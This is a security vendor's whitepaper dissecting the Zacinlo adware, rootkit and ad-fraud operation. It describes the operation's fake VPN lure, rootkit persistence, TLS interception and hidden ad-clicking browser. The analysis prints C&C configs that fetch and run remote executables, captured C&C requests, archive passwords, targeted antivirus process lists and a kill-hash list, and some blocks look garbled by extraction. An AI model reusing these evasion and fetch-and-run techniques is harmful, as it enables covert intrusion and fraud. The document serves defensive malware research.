

Bitdefender[®]

Six Years and Counting:
Inside the Complex
Zacinlo Ad Fraud
Operation





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Foreword

For more than a decade, adware has helped software creators earn money while bringing free applications to the masses. Headliner games and applications have become widely available to computer and mobile users the world over, **with no financial strings attached**.

This contract between the developer and the consumer, however, is governed by third parties –the advertisers – the entities that absorb the product’s cost in exchange for user-generated information and behavior. Enter the adware era.

While generating untold revenue for the companies that run these programs, adware has witnessed constant improvements over the years in both data collection and resilience to removal. The line between adware and spyware has become increasingly fuzzy during recent years as modern adware combines aggressive opt-outs with confusing legal and marketing terms as well as extremely sophisticated persistence mechanisms aimed at taking control away from the user. This whitepaper details an extremely sophisticated piece of spyware that has been running covertly since early 2012, generating revenue for its operators and compromising the privacy of its victims.

One of the perks of identifying a new strain of malware is getting to name it. We called this adware family “Zacinlo”, after the final payload, although this might not be the most appropriate name for such a complex piece of code. In Slovenian, the term “začilno” translates to “temporary,” but nothing is temporary in the way the adware operates. On the contrary, it has been active on the market for more than six years now, and the fallout it has brought to users won’t be easily fixed anytime soon.

Overview

Last year we came across a digitally signed rootkit capable of installing itself on most Windows operating systems, including the newest releases of Windows 10. Since rootkits these days account for under 1 percent of the malware output we see worldwide, this immediately drew our attention and prompted us to carry out an extensive analysis of the payload, its origins and the spread. We discovered an ample operation whose central component is a very sophisticated piece of adware with multiple functionalities.

Our information indicates that the adware has been active since 2012-2013. We have identified at least 25 different components found in almost 2,500 distinct samples. While tracking the adware, we noticed some of the components were continuously updated with new functionalities, dropped altogether or integrated entirely in other components. This once again reinforces our initial assumption that the adware is still being developed as of the writing of this paper.

While looking at the communication mechanism of the adware, we identified that a multitude of domains bought from Enom were acting as command-and-control centers. These domains were all registered to two email addresses, included in the IoC chapter at the end of this paper.

The main features of this adware that drew our attention are:

- The presence of a rootkit driver that protects itself as well as its other components. It can stop processes deemed dangerous to the functionality of the adware while also protecting the adware from being stopped or deleted. The presence of man-in-the-browser capabilities that intercepts and decrypts SSL communications. This allows the adware to inject custom JavaScript code into webpages visited by the user.
- It features an adware cleanup routine used to remove potential „competition“ in the adware space. This routine is rather generic and does not target a particular family or type of adware.
- The adware can uninstall and delete services based on the instruction it receives from the command and control infrastructure.
- It reports some information about the environment it is running in to the C&C. This information includes whether an antimalware solution is installed (and if so, which one), which applications are running at start-up and so on.
- It takes screen captures of the desktop and sends them to the command and control center for analysis. This functionality has a massive impact on privacy as these screen captures may contain sensitive information such as e-mail, instant messaging or e-banking sessions.
- It can accommodate the installation of virtually any piece of software on the fly and thus extend its functionality.
- It features an automatic update mechanism.
- It redirects pages in browsers
- It adds or replaces advertisements while browsing by searching DOM objects by size, style, class or specific regular expressions
- Uses many platforms to pull advertising from advertising, including Google AdSense.
- Obsolete or expired ads can be easily replaced by new ones
- Silently renders webpages in the background in hidden windows and interacts with them as a normal user would: scrolling, clicking, keyboard input. This is typical behavior for advertising fraud that inflicts significant financial damage on online advertising platforms.
- Its extensive use of open-source projects and libraries (e.g: chromium, cryptopop, jsoncpp, libcef, libcurl, zlib, etc.)
- It uses Lua scripts to download several components (most likely as a way to fly under the radar of some antimalware

solutions that detect suspicious downloads and block them as such)

- Extremely configurable and highly modular design that can expand functionality via scripts and configuration files made available via the command and control infrastructure

Spreading and geography

The vast majority of the samples we tracked were spotted in the USA and, in much lower numbers, in France, Germany, Brazil, China, India, Indonesia, Phillipines.




Figure 1 – Distribution by Country




Figure 2 – Distribution by OS



About 90 percent of the systems where the adware components were found were running Windows 10.




Figure 3 – Samples / Year



Components of this campaign seem to date back as far as 2012 but it appears the adware was most active in the final months of 2017.

The adware components are silently installed by a downloader that is presented as a free and anonymous VPN service (s5Mark), distributed in an installer. s5Mark has a simple graphical interface used as a decoy for the intrusive unwanted behavior taking place behind the scenes. Note that a non-technical user is led to believe that a VPN connection is established even though no such thing is even attempted.




Figure 4 – Misleading GUI

Stage One: The Downloader

The infection chain starts with a downloader (*Figure 5*) that installs an alleged VPN application. Once executed, it downloads several other components, as well as a dropper (*Figure 6*) or a downloader (*Figure 7*) that will install the adware and rootkit components.

The dropper accommodates all the components in its resources section, where they are compressed and password-protected. Some versions of this attack use a downloader instead of a dropper to download the adware and rootkit components. Another downloaded component (*Updater* from *Figure 2*) is again a downloader that acts as an updater and offers persistence for the components it downloads; it gets a configuration Json from the C&C that specifies the file to be downloaded. Our lab tests show that this file was another version of the main downloader.

The other component downloaded by the main downloader is the VPN application. The latest version of the main downloader uses a Powershell command to disable real-time monitoring provided by Windows Defender before running. Realtime Monitoring is enabled again after successful installation of the adware.




Figure 5 – Main Downloader

The adware and rootkit dropper/downloader subsequently runs several executables that will further download other files and eventually the payload and deploys two drivers: a rootkit used for protection and persistence and a driver from the Netfilter SDK framework, a commercial solution for filtering network packets. The Netfilter driver is used to carry out the MITM attack and injection of scripts in web pages. One of the executables also installs a certificate needed for the MITM attack.




Figure 6 – Rootkit and Adware Dropper




Figure 7 – Rootkit and Adware Downloader

Stage Two: The Rootkit Driver

The central piece of the adware is probably the rootkit driver, which is responsible for providing persistence and protection for the other components from being read, written or deleted. It is also used to patch or block antimalware services.

The analysed driver is digitally signed with a certificate from **Handan City Congtai District LiKang Daily Goods Department**, which is currently revoked. The certificate had a validity period between 06/28/2013 and 06/29/2014. Almost all rootkit samples found are signed with this certificate. The very few other certificates found are also expired and belong to: **Shanghai Domainlink Software Technology Co., Ltd.**; **Shanghai Daisi Software Technology Co.,Ltd.**; **BEIJING XINDA HUANYU NETWORK SECURITY TECHNOLOGY CO.,LTD.**

Among the targeted antimalware solutions are products developed by the following companies: **Bitdefender, Qihoo, Kingsoft, Malwarebytes, Symantec, Panda, HitmaPro, Avast, Avg, Microsoft, Kaspersky, Emsisoft and Zemana**. The rootkit finds them by file names or by Subject Name field in their certificates, then the antimalware modules are prevented from starting. In case of an infection, we recommend a System Scan using Bitdefender Rescue Mode to remove the rootkit and the adware components.

This rootkit component is highly configurable and stores all the configuration data encrypted inside the Windows Registry. It has also a very effective persistence method: during Windows Shut Down, it rewrites itself from memory to disk under a different name and it updates its registry key.

The rootkit redirects the access to the files in a directory that stores the user-mode component and the Netfilter driver; these are copied in other locations and started during the rootkit initialization phase. This is a hiding technique, when one of the monitored files is opened another clean file is served. The user-mode component that will later download and start the payload is started by the driver so that it leaves very few traces behind: a copy is made in another location and a process is created from the copied file. After the process is started, the copied file is overwritten with zeros. As a result, the user-mode component has no apparent persistence on the system and even its file leaves no forensic evidence. *Figure 8* details a diagram of the rootkit and how the components are interlinked.




Figure 8 – Rootkit Summary

1. The driver gets its configuration data from the Registry: names of AV processes to block, the files in the backup folder to be hidden, the files in the payload folder to be whitelisted.
2. The driver sets itself as a filter driver. Access to the files in the backup folder will be redirected to other clean files.
3. The driver copies the NetFilter driver (**zacinlo.sys**) from the backup folder to the **System32** directory, then it starts NetFilter.
4. The driver copies **zacinlo.exe** (or **msidntld.exe**) from the backup folder to **System32** folder and starts the application from the new location. After starting, the executable from **System32** folder is overwritten with zeros to prevent forensic analysis.
5. The driver registers different kernel callbacks. Callbacks for driver loading and process creation are used to prevent antimalware solutions from starting. A Registry callback is used to block access to the service key of the driver. A shutdown notification is used for persistence.
6. During shutdown, the driver creates a copy of its file with a new random name. The Registry service key for the driver is updated with the newly generated name.
7. The user-mode component loads (if not already loaded in step 3) and configures the NetFilter driver to inject scripts in web pages.
8. The user-mode component downloads and starts the payload files.

Stage Three: The Payload

From a technical perspective, the payload falls under the adware category, as its main purpose is to display ads in web pages that the user visits and to open web pages that are hidden from the user.

The starting point is the user-mode application that is started by the rootkit (*zacinosvc.exe* or *msidntld.exe* are some of the possible names). The first important action it takes is to install a new trusted Certificate Authority (CA) in the local Windows Certificate Store and similar stores used by browsers (Firefox Certificate Database, the root store used by older versions of Opera, etc.).




Figure 9 – Installed Certificate

This certificate will be used to hijack secured web connections using MITM attack methods. Only specific processes will be attacked, including popular browsers: **Edge, Internet Explorer, Firefox, Chrome, Opera, Safari, etc.** The application also starts the Netfilter driver if it's not already started by the rootkit. The driver will be used as a tool by the user-mode application to intercept network traffic and inject scripts in web pages, even under secure connections.

A secured connection before and after the MITM attack can be seen below:




Figure 10 – Unaltered Secured Connection




Figure 11 – Hijacked Secured Connection



In a hijacked connection that takes place via TLS, the original site certificate is replaced and the page contains an injected script (highlighted in **Figure 11**). The script is external and found on **cdn.optitc.com**. The script collects information about the browser (version, cookies, visited URL, timezone, language, etc), and generates a new external script found on the same C&C with the collected data encoded in base64 (the script just after the highlighted one in **Figure 11**). The received script contains a configuration JSON that tells the script what advertisements should be added and where.

The JSON contains an array of objects that also specify how the ads should be inserted. Here is one example:

```

...
{
  "t": "banner",
  "n": "\u066ff\u06362 120x600",
  "id": "",
  "cls": "",
  "width": 120,
  "height": 600,
  "method": 3,
  "align": "x",
  "valign": "b",
  "x": 0,
  "y": 0,
  "close_button": false,
  "close_auto": false,
  "close_timeout": 3,
  "fade_enabled": true,
  "fade_timeout": 3,
  "test_enabled": true,
  "test_selector": "",
  "test_js": "",
  "test_x": "ud",
  "test_offset_x": 10,
  "test_y": "ud",
  "test_offset_y": 25,
  "output": 3,
  "replace_method": 6,
  "replace_limit": 2,
  "rotate_enabled": false,
  "rotate_limit": true,
  "rotate_interval": 10,
  "rotate_random": false,
  "rotate_times": 1,
  "ads": [{"Google 120x600", "code", "<script async src=\"\\\"\\\"pagead2.googlesyndication.com/
pagead\\js\\adsbygoogle.js\"></script>\n<!-- 1-120600 -->\n<ins class=\"adsbygoogle\"
style=\"display:inline-block;width:120px;height:600px\"
data-ad-client=\"ca-pub-5342417538670803\"
data-ad-slot=\"9746813776\"></ins>\n<script>\n(adsbygoogle = window.adsbygoogle || []).push({});\n</
script>"}],
  "c": "",
  "tip_pos": "lb",
  "tip_enabled": true,
  "tip_text": "AD",
  "_id": 198712
},
...

```

```

<script async src=
  \"\"pagead2.googlesyndication.com/pagead/js/adsbygoogle.js\">
</script>
<!-- 1-120600 -->
<ins class="adsbygoogle"
  style="display:inline-block;width:120px;height:600px"
  data-ad-client="ca-pub-5342417538670803"
  data-ad-slot="9746813776">
</ins>
<script>(adsbygoogle = window.adsbygoogle || []).push({});</script>

```

JSON configuration file

For this case, it injects one Google AdSense ad into the page with the advertiser account ID **5342417538670803**. The other fields specify how the ad will be presented: if there is more than one ad they can be switched after some time, if the ad has a close button, if the ad closes automatically after a time, if the ad should replace another ad or just be added in page and so on. The JSON also contains other advertiser types from:

cdn.downloadtraffic.com
n131adserv.com
egreader.com

Even though the accounts for these IDs would eventually be blocked when fraudulent or abusive use gets picked up by the advertiser's automated controls, **new ads could be injected easily because the payload only needs an updated JSON from the C&C.**

The second main purpose of the executable (**zacinlosvc.exe**) is to download other payload files. During our analysis, we noticed two files were downloaded: **svcmx.exe** and **vmxclient.exe**. These files get placed in a random directory in **%LOCALAPPDATA%** or **%PROGRAMFILES%**. The files have no direct persistence on the system and are started by the above user-mode app **zacinlosvc.exe** (which in turn is started by



the rootkit). Every process is started by the original process started by the rootkit so that fewer traces of malware are left behind. The two files, however, are not protected or hidden and, if they get deleted, they will be downloaded again when the chain is started by the rootkit.




Figure 12 – Payload Execution

The two files work in a Master/Slave model. The master process (**svcvmx.exe** in Figure 12) contacts the C&C and sends some information (OS version, MAC address, CPU info, etc) and will receive a list of sites to be visited. The data received from the C&C is encoded as JSON objects holding the websites and LUA commands such as: *SendMouseMoveBrowser*, *SendMouseClick*, *SendMouseWheel*, *RandScroll*, *InjertJS*, *OpenUrl*, *Back*, *Forward*, *Reload*, *InputString*, etc. The scripts from the C&C specialize in opening pages, inserting JS scripts and emulating regular user behavior such as scrolling and clicking.

The master process then starts the slave process (**vmxclient.exe** in Figure 12) and the two processes communicate over a named pipe. The slave contains code for a LUA interpreter and the Chromium Embedded Framework (CEF); is it built as a basic, custom browser that can run LUA scripts. The scripts received by the master process from the C&C are sent through the named pipe to the slave process, which will execute them and therefore generate traffic on different sites.

Because the slave is using the multi-process CEF library, it will spawn several child processes during the browsing process. It is important to mention that the slave process is started in a newly created Desktop, not inside the Default one, and as such the rendered browsers will be hidden from the user.




Figure 13 – Hidden Rendered Page

The components we documented above form the building blocks of the adware framework. Some versions of downloaders and droppers will install additional components, several of which are interconnected and will check for the presence of other components. If they are not installed, they are downloaded and set as persistent to survive reboots. Some components will harvest more info about the system, take screenshots and send the collected information to the C&C. Others have the ability to kill processes. Large lists with of executable names or MD5 hashes are received from C&C and the processes that match any of them are terminated.

```
Decrypted response:
["30532e1cd8400847b7c67a9096516d25", "99e33f82931a7542638c9034abbde289", "ddf652efa1dac133a190b1287da0205", "584d5e55e861fef120cda572278d7f6d",
"3a00ef9eab022648b4d3a9e6976108", "e016903a967c52ea963c07afae003456", "eb09f437eaf6e1e8b61700be27053c25", "3ff5a97fd1645573ba016997bcff1f290",
"eeff8f60b2c35bd27d398f418041fa3", "721e75a964723b8079e85008060613ab", "33dce7ed214422191e83caf6aefa2861", "ee414bcc2850d5be5378d676f20e02f",
"4ff26d9cc0b6a91c507cc6fac447ca3", "1a2adcf2c7ee848414ee83936c052661", "ab782a8ccd7efeaacf31difa5162b66c", "ce7608dda10a69dd5398e88f2535f596",
"06c9abf5addf0313fe261c86c7144d8a", "03cb60b773353e6d8d602cd53c838e2", "a4de3a6ed0ce6a1a4a73879a964f1e0", "4c8319cb89f3d65c6d7e8b224b32e129",
"08ea217bd7c0bfed8622e76ee13ea23", "60a9a8cc201bf5b2df48fbf052668188", "21281ac3f8cdf52b4cfad8d2ec2b19cf", "9938ba7ac0e02d4c83379e4ca96926e8",
"d265191b24e36b4305ba8e607bb14bc6", "3af565cd0acd0019c0936c5f1438cc6", "350c147d2269e227627fdaf3a9f871ee", "58bc8848c31049cfff78a98bce23bbb2e",
"cd214ee7f8b83547adf57350f59c64", "e3f334c12d79938282b268e5dad9f7fc", "1c015c9f2ab9d7ece5f9bc4276d21be5", "d4f8a1cef2d827929cb81bb628de34af",
"7873327f99cd8hai1f8e669f0de67086", "e729f946abe5cd7f51f0a78d139bb8ed", "7c037792cch5cd29e2a319149708505", "b430418b4a6f8b387ce36b213a6836b8",
"7a038d5da24fc7bd7269a247252f61f5", "d8625ed0228185674e2760ec1751a1a4", "f95fb211a92fe969127c930b39a525f1", "4a28abd307a983c1b2d91f1ce546f781",
"feeb17c16f02848ac318c769f2171", "f4732c2f70f0a1912c7a5e2d84cf081d", "7fa7859b18a4fd0ee9d3a8988e5890h1", "39a225c8041f1a8c3b1e9999c43d3088",
"56a98bf643f85e0bf7257625e1de533", "168eb3fd10e528a8f2225364f708035", "81e6db5e4e459497bb07271a24fa705b41", "0957545496c6adae75f73ab5854",
"3886e9d12a346d425de271caabd45e58", "fd792afde1ad51e71a0bbf7b7a90f0", "d2e008665650e0988f52f081e4121", "c735079c9ab6ba1b9906d8d2221428",
"def70dab10515f30da3bd0b99343d0", "25b68f65480fbc47599086500d0521", "b63d4e95e49e2f1b71378f67381222752", "535cd6bf8502b273a12haf87990d1cb7",
"52ba529cdh417b5cae8d7572f1f1df0", "eb0af04f4fce0ab8daf3615497542ba", "hd01a9f0a0daeda2cb00e42d3cb2c70a", "ae88b81dd6a746f39429f01d0b479502",
"1f19f15089f92ccc866bf34b00c121c4", "4a22dc8cf6502f761f901554a9f15b6", "5665375d2ed88d38e9dab59a8dec80b", "a36004b8512b4005672266c7d197902",
"ed826b481216f1ba60b232912b3f9fcd", "ac2e20ee965ef7de529e3cc1233f9951", "20952c5f3b1e8462c265d16c496ea439", "0b8af4efc8a63f238fe9793f8759b1e",
"a7c6c1f43d335a2ecf5dad457ecb810", "cae8fa79c47e674c447905807d54ee4c", "3310a6dd0e3302156506f68d3148a9c7", "19d85c11d728918215769a0eed9543f2",
"929d2cf59d0745e746211ad59cec10337", "77a0149b83134ce687aa5bd0f43b5bef", "2e60a448220f25263520016339b5e36", "877b586acf65ef423b8e06116607c622",
"890b7e2c39fd442f53de5108d5ca5e4", "518bc64fd3efeda60543623abcef935", "0d79db172b6af681f171b2f36bfd1c", "ad4b4a8832324dd10a4df1e4d80258f",
"39095227ca169ae9c6b661b477894eab", "a64aaf5324bef7005b3cedb3e23fd172", "4ade14e2e2d626c9c979a0c19fb308fc", "08f6cd97e038788c98a7723249488b65"]
```

Figure 14 – Some Targeted Hashes

```
Decrypted response:
["autostart:MainService.exe", "autostart:H83MCKI DUG.exe", "autostart:PCAcceleratePro.exe", "autostart:IWIK8FL08.exe", "autostart:9SRUHV9YD.exe",
"autostart:TESTUK.exe", "autostart:BestCleaner.exe", "autostart:InstantSupport.exe", "serviceexist:.....exe", "autostart:Musgunnyo.exe", "autostart:lowyku.exe", "autostart:jedrw.exe", "autostart:Hemkajdoa.exe", "autostart:GuvtDhji.exe", "autostart:q301_CGup.exe", "autostart:Caunfy.exe", "autostart:Ueticqg.exe", "autostart:Unokucu.exe", "autostart:fastweb.exe", "autostart:VTDnloader.exe", "autostart:winlogger.exe", "autostart:WindowWeather.exe", "autostart:stocking.exe", "autostart:smolder.exe", "autostart:ratchet.exe", "autostart:NowUSealPlyer.exe", "autostart:internetport3.exe", "autostart:foreplay.exe", "autostart:footprints.exe", "autostart:dekker.exe", "autostart:AppPerfier.exe", "autostart:xmkysecqum64.exe", "autostart:Heedxi.exe", "autostart:wizcater.exe", "autostart:win_en_77.exe", "autostart:setmhomepage.exe", "autostart:Musgunnyo.exe", "autostart:lowyku.exe", "autostart:jedrw.exe", "autostart:Hemkajdoa.exe", "autostart:GuvtDhji.exe", "autostart:q301_CGup.exe", "autostart:Caunfy.exe", "autostart:Ueticqg.exe", "autostart:Unokucu.exe", "autostart:fastweb.exe", "serviceexist:iservp.exe", "serviceexist:screenshotProServat.exe", "serviceexist:set.exe", "autostart:ANONMI ZERLAUNCHER.EXE", "autostart:Uestie.exe", "autostart:UPDAgent_x64.exe", "autostart:Rawei.exe", "autostart:bfsvc.exe", "autostart:produpd.exe", "autostart:gopidul.exe", "autostart:Eitehko.exe", "autostart:dsr1te.exe", "autostart:xmkysecqum64.exe", "autostart:Heedxi.exe", "autostart:wizcater.exe", "autostart:win_en_77.exe", "autostart:setmhomepage.exe", "autostart:Musgunnyo.exe", "autostart:lowyku.exe", "autostart:jedrw.exe", "autostart:Hemkajdoa.exe", "autostart:GuvtDhji.exe", "autostart:q301_CGup.exe", "autostart:Caunfy.exe", "autostart:Ueticqg.exe", "autostart:Unokucu.exe", "autostart:fastweb.exe", "autostart:VTDnloader.exe", "autostart:winlogger.exe", "autostart:WindowWeather.exe", "autostart:stocking.exe", "autostart:smolder.exe", "autostart:ratchet.exe", "autostart:NowUSealPlyer.exe", "autostart:internetport3.exe", "autostart:foreplay.exe", "autostart:footprints.exe", "autostart:dekker.exe", "autostart:AppPerfier.exe", "autostart:SunnyDay.exe", "serviceexist:Uestie.exe", "serviceexist:caster.exe", "serviceexist:UPDAgent_x64.exe", "serviceexist:Rawei.exe", "serviceexist:hdaudio.exe", "serviceexist:bfsvc.exe", "serviceexist:produpd.exe", "serviceexist:gopidul.exe", "serviceexist:Eitehko.exe", "serviceexist:dsr1te.exe", "serviceexist:maintainer.exe", "serviceexist:xmkysecqum64.exe", "serviceexist:Heedxi.exe", "serviceexist:win_en_77.exe", "serviceexist:setmhomepage.exe", "serviceexist:Musgunnyo.exe", "serviceexist:lowyku.exe", "serviceexist:Hemkajdoa.exe", "serviceexist:GuvtDhji.exe", "serviceexist:q301_CGup.exe", "serviceexist:Caunfy.exe", "serviceexist:Ueticqg.exe", "serviceexist:Unokucu.exe", "serviceexist:fastweb.exe", "serviceexist:VTDnloader.exe", "serviceexist:winlogger.exe", "serviceexist:WindowWeather.exe", "serviceexist:smolder.exe", "serviceexist:internetport3.exe", "serviceexist:foreplay.exe", "serviceexist:footprints.exe", "serviceexist:dekker.exe", "serviceexist:AppPerfier.exe", "serviceexist:SunnyDay.exe", "serviceexist:winsrcsv.exe", "serviceexist:WinUpdaterLong.exe", "serviceexist:dirmngr.exe", "autostart:ANONMI ZERLAUNCHER.EXE", "autostart:REOPTIMIZER.exe", "autostart:UIDSQAURE.exe", "autostart:OPTIMUM.*", "autostart:MYTRANSITGUIDE.exe", "autostart:PCCLEANPLUS.exe", "autostart:winwb.exe", "autostart:pceed.exe", "autostart:Prime_Updater.exe"]
```

Figure 15 – Some Targeted Processes



Apparently, not only security solutions are targeted but other adware processes as well. The targeted adware is not specific, but belongs to many different families. We presume that the operators of Zacinlo are either competing against other adware rings or just fighting for system resources as the page rendering, browsing pages and videos consumes significant CPU cycles and network bandwidth.

The files in this introduction come with different names, depending on version. We collected samples from various time periods to see how this campaign evolved from an emerging threat into a highly effective and aggressive adware campaign with obvious signs of malware behavior.

We will discuss the technical particularities of the binaries in the following chapters.

The main downloader

```
.PSPC 000071206
.PSPC 00007128D
.PSPC 000071314
.PSPC 00007139B
.PSPC 000071422
.PSPC 000071489
.PSPC 00007153B
.PSPC 0000715B7
.PSPC 00007163E
.PSPC 0000716C5
.PSPC 00007174C
.PSPC 0000717D3
.PSPC 00007185A
.PSPC 0000719E1
.PSPC 000071968
PSPC Shell Dlg
```

The main downloader is the initial point of compromise. It is a Trojanized application advertised as a free and anonymous VPN service and is usually distributed on the network. To fulfill its tasks, this component uses open-source projects like: zlib, http-parser, jsoncpp and tinyxml. Once executed it starts decrypting its "XML" directory resources using the xor operation with 0xC3 as key.

```
.PSPC 000071206
.PSPC 00007128D
.PSPC 000071314
.PSPC 00007139B
.PSPC 000071422
.PSPC 000071489
.PSPC 00007153B
.PSPC 0000715B7
.PSPC 00007163E
.PSPC 0000716C5
.PSPC 00007174C
.PSPC 0000717D3
.PSPC 00007185A
.PSPC 0000719E1
.PSPC 000071968
PSPC Shell Dlg
```

XML decrypted

After decryption, the XML is parsed using *tinyxml*, and the configuration information inside is used to contact the C&C and download files from it. Another encrypted configuration file is downloaded from the C&C which will be decrypted using XOR with 0x7B as key. Its purpose is to specify which registry keys to create and what components to download, what file type these were, where to be saved, as well as how to execute them.



```
GET /entry/tbsetup/fbinstall?tid=&aid=&mac=33DD560C893E6781A7C04785BA49B807&type=dblclick&crc=229 HTTP/1.1
Accept: */*
Connection: Keep-Alive
Host: www.yeehbuy.com
Referer: http://www.yeehbuy.com/entry/tbsetup
User-Agent: wget

HTTP/1.1 302 Found
Server: nginx/1.4.6 (Ubuntu)
Date: Wed, 28 Mar 2018 13:44:29 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 29
Connection: keep-alive
Location: /error
Set-Cookie: beegoseSSID=7acdfef45d70a07f9941fb226aadd6b3; Path=/; Expires=Wed, 28 Mar 2018 15:24:29 GMT; Max-Age=6000; HttpOnly
Set-Cookie: lang=en-US; Expires=Mon, 15 Apr 2086 16:58:36 UTC; Max-Age=2147483647; Path=/
Set-Cookie: BEEGO_FLASH=%00error%23BEEGOFFLASH%23Request+Url+Params+Error%00; Path=/

<a href="/error">Found</a>.
```

```
{
  "code": 0,
  "msg": "Success",
  "data": null
}
```

For the previous request we were able to recover the C&C's response:

```
GET /entry/track/event-fb?label=_toolbar_distribution&ref=_&mac=33DD560C893E6781A7C04785BA49B807&events=e6%3dwin7&crc=11339 HTTP/1.1
Accept: */*
Connection: Keep-Alive
Host: www.yeehbuy.com
Referer: http://www.yeehbuy.com/entry/track
User-Agent: wget

HTTP/1.1 302 Found
Server: nginx/1.4.6 (Ubuntu)
Date: Wed, 28 Mar 2018 13:44:29 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 29
Connection: keep-alive
Location: /error
Set-Cookie: beegoseSSID=b906ca3d9b758cb0580ee4c2c52c1bcd; Path=/; Expires=Wed, 28 Mar 2018 15:24:29 GMT; Max-Age=6000; HttpOnly
Set-Cookie: lang=en-US; Expires=Mon, 15 Apr 2086 16:58:36 UTC; Max-Age=2147483647; Path=/
Set-Cookie: BEEGO_FLASH=%00error%23BEEGOFFLASH%23Request+Url+Params+Error%00; Path=/

<a href="/error">Found</a>.
```

The Updater

This component acts as a secondary downloader, as well as an updater. The executable can handle these command line arguments:

- UnregServer**
- RegServer**
- Service**
- UnregServerPerUser**
- RegServerPerUser**

The sample starts extracting an encrypted config from its resources:

```
{
  "domains" : [
    "tracking.photoyee.com",
    "tracking.weiboniu.com",
    "tracking.yeehbuy.com",
    "tracking.downloadyee.com",
```




```

        "tracking.downloadyeah.com"
    ],
    "taskUri" : "/up/9/r%d/up.bin",
    "AName" : "UdvdPork",
    "BName": "WUdvdPork",
    "upDirName" : "b7srv",
    "taskDirName": "v7srv7task",
    "infoName" : "up7dt7info",
    "svcDesc" : "Windows Media Udapoker"
}

```

The executable checks if two services exists and are running, with the names in the **AName** and **BName** fields. If one of them is running, the other one gets deleted; if both are running, then the first one gets deleted and – finally - if neither is running, the second one gets deleted. It will also check if a config file exists in **%programdata%\u4c** with the name from **infoName**; the config file gets updated and will contain an encrypted JSON with the **InstallTime**, **lastInstallTime**, **version** fields. It gets a binary file from the **domains** and **taskUri** fields which, once decrypted, will contain another config from the **domains** and **taskUri** fields :

```

{
    „upinfo“: {
        „version“: 8,
        „name“: „webdefer“,
        „url“: „http://ad.downloadyee.com/s2.exe“,
        „openlog“: false
    },
    „tasks“: [
        {
            „name“: „qcmd“,
            „url“: http://ad.downloadyee.com/toolbar/s5_svc_databack20150414.exe“,
            „cmd“: „fuck8you“,
            „md5“: „658a66a4dc4c55dced4de5f2df44f9de“,
            „session“: 1
        }
    ]
}


```

From the **tasks** value, the updater will download the file and store it in **%programdata%**, in a subfolder named after the value in **taskDirName** from the first json. Then the file will be started with parameter from **cmd**. The downloaded file is another version of the initial download manager.



The S5mark Application

This is the Trojanized application that serves as a pretext to lure the user into installing the adware components. It just makes a request **qq.com** when the button is toggled. It comes with an installer and uninstaller.



The Setup Dropper

This component integrates the sources code of two open-source projects:

- Zlib
- Crypto++

In order to start, it needs **-insta** parameter, and the operating system it is running in should be at least Windows XP or an x64 platform operating system. This dropper contains multiple archives in its resources (**BINDATA** directory). All these archives are password-protected with different passwords that are hard-coded in the binary files. After extraction, the archives are deleted from disk.

| Component | Archive | Files | Password |
|------------|---------------------|--------------------------|----------------------|
| msidntld | msidntld32 | msidntld32.data | rq2cCy8fhLpI4TwCFRCU |
| | msidntld64 | msidntld64.data | |
| netfilter3 | netfilter3_x86_xp | netfilter3_x86_xp.data | W-rPJbw6LQtmPef5kxqh |
| | netfilter3_x64_xp | netfilter3_x64_xp.data | |
| | netfilter3_x86_win7 | netfilter3_x86_win7.data | |
| | netfilter3_x64_win7 | netfilter3_x64_win7.data | |
| | netfilter3_x86_win8 | netfilter3_x86_win8.data | |
| | netfilter3_x64_win8 | netfilter3_x64_win8.data | |
| radardt | radardt32 | radardt32.data | QecTmzgcmfW6SCf4-s5s |
| | radardt64 | radardt64.data | |



| | | | |
|-----|-----|----------|----------------------|
| ct | ct | ct.data | mNyRp6kYH5cUsoNluTCn |
| ct2 | ct2 | ct2.data | |

If the operating system's platform is not x86 it verifies for **I.\\DrvProtect** device (the rootkit component's device) and if it is found then:

It generates random directory and file names (for **svcvmx** and **vmxclient** components) if **set_pt** data (**HKLM\\SYSTEM\\CurrentControlSet\\Network**) is not set, and both components will be saved in an encrypted form in this registry value

It sets **atimode** registry data (**HKLM\\SYSTEM\\CurrentControlSet\\Network**)

It checks for the following antimalware processes

| Antimalware processes checked by this component | | | |
|---|-------------|-------------------|-------|
| mbam | mbamservice | mbamtray | avgnt |
| avguard | avshadow | Avira.ServiceHost | ns |

- Based on the operating system's platform, the **Msidntld** archive component will be dropped with random name in **%temp%**. The file is extracted in a randomly generated directory created under **System32** with a randomly generated filename.
- Depending on the operating system platform and the operating system, the second archive dropped with a random name in the **%temp%** directory is the **NetFilter** component. The file is extracted in the same directory with **msidntld (zacinlo)** component and with the same generated name but with the **".sys"** extension instead.
- The **Radardt** rootkit component is the third dropped archive, depending on the operating system's platform. The file is then extracted in **System32\\drivers** with a randomly generated file name.
- If **ns.exe (Norton by Symantec)** is not found among the running processes, another archive gets dropped in a randomly generated directory name created in **%temp%** with the **temp** file name. The file serves as service component and will be extracted in the same folder with the archive, then the executable is started with the parameter **-install**.
- If an antimalware process was found, it reboots the computer using the command

„cmd open /c start „ „shutdown /r”

If the operating system's architecture is x86, it will drop **ct2** component in a randomly generated directory name created in **%temp%** with the filename called **temp**. The file serves as a service component and will be extracted under the name **ct.exe** in the same directory with the archive, then it will be executed with the **-install** parameter.

The generated filenames or directory names start with a prefix as follows:

- executable name starts with **ms**, followed by random 5 characters and **.exe** extension
- driver name can start with one of the following:

| | | | | | |
|-----|-----|-----|-----|-----|-----|
| Win | vso | vol | vmr | usb | ter |
| Tdi | srv | rdp | ras | par | mdi |
| mou | mon | dum | ata | cdr | |



followed by a random 5 characters and **.sys** extension

- directory name can start with one of the following:

| | | | | | |
|-----|-----|-----|-----|-----|-----|
| wmi | ime | ctf | wud | vma | vmt |
| Vga | win | lsa | nis | utc | |

followed by 4 random characters. Depending on the file version the starting string may differ.

The LUA Interpreter

The component corresponds to the **ct2.exe** file. It integrates the source code from the following open-source projects:

- Lua 5.1
- Lua Cjson
- Lua Bridge
- Zlib
- Cryptopp

Depending on the supplied arguments, it provides different functionality:

- Install action (**-install** or **/install** argument (default case))
- Removal action (**-remove** or **/remove** argument)
- No argument case (there is no argument or the first arguments doesn't start with "-" or "/")

Install action

Searches for the "**windowsmanagementservice**" service and, if it is found, it kills the process belonging to this service, obtains "**SeDebugPrivileges**" and it stops and deletes this service. The service **windowsmanagementservice** will be created under the display name "**Windows Management Service**" and description "**Provide management service for system.**", it is set as a delayed autostart service and then it will be started.

Remove action

All it does is to stop and delete its service.



No argument action

This use case does two important things:

It exports some Lua functions and variables which will be used by the downloaded Lua script.

Creates the service control handler (*stop, pause, continue, interrogate*).

